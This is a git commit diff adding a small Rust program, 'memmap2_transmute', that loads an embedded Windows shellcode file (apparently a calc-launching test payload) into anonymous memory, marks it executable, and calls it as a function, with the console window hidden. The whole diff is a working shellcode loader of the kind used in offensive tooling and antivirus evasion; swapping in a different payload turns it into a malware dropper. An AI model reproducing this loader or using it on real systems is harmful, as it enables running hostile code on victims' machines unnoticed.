add memmap2_transmute

b1nhack · b1nhack · commit 9d82c7aa48f5 · 2023-03-23T07:26:55.000-07:00
diff --git a/memmap2_transmute/Cargo.toml b/memmap2_transmute/Cargo.toml
@@ -0,0 +1,9 @@
+[package]
+name = "memmap2_transmute"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+memmap2 = "0.5.10"
diff --git a/memmap2_transmute/src/main.rs b/memmap2_transmute/src/main.rs
@@ -0,0 +1,22 @@
+#![windows_subsystem = "windows"]
+
+use memmap2::MmapOptions;
+use std::mem::transmute;
+
+static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
+static SIZE: usize = SHELLCODE.len();
+
+#[cfg(target_os = "windows")]
+fn main() {
+    let mut mmap = MmapOptions::new()
+        .len(SIZE)
+        .map_anon()
+        .expect("mmap failed!");
+    mmap.copy_from_slice(SHELLCODE.as_slice());
+    let mmap = mmap.make_exec().expect("make_exec failed!");
+
+    unsafe {
+        let shell: unsafe extern "C" fn() = transmute(mmap.as_ptr());
+        shell();
+    }
+}
